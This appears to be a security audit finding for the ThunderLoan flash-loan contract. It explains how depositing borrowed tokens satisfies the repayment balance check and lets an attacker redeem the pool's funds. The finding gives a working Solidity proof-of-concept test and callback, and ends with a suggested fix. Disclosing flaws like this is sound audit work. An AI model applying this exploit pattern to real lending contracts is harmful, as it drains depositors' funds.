Malicious users can exploit flash loan offering.
To ensure the flashloan has been repaid, thunderLoan checks that the assetToken contract's balance of the underlying token exceeds the pre-loan value (+ the fee).
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
However, if during the flash loan transaction the attacker deposits the amount loaned - this if statement will be satisfied, and the attacker could then call redeem to steal funds.
function testFlashLoanThenDeposit() public setAllowedToken hasDeposits {
uint256 amountToBorrow = AMOUNT * 10;
uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
vm.startPrank(user);
tokenA.mint(address(this), calculatedFee);
uint256 contractTokenABalancePre = tokenA.balanceOf(address(this));
console.log("CONTRACT TOKEN A BALANCE PRE EXPLOIT = ", contractTokenABalancePre);
thunderLoan.flashloan(address(this), tokenA, amountToBorrow, "");
vm.stopPrank();
AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
uint256 contractAssetTokenBalance = asset.balanceOf(address(this));
console.log("CONTRACT ASSET TOKEN BALANCE PRE REDEMPTION = ", contractAssetTokenBalance);
thunderLoan.redeem(tokenA, contractAssetTokenBalance);
uint256 contractTokenABalance = tokenA.balanceOf(address(this));
console.log("CONTRACT TOKEN A BALANCE POST EXPLOIT = ", contractTokenABalance);
assert(contractTokenABalancePre < contractTokenABalance);
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata
)
external
returns (bool)
{
tokenA.approve(address(thunderLoan), amount + fee);
thunderLoan.deposit(tokenA, amount + fee);
thunderLoan.repay(tokenA, amount + fee);
return true;
}
Revert if the total supply of the assetToken has increased during the flashloan transaction.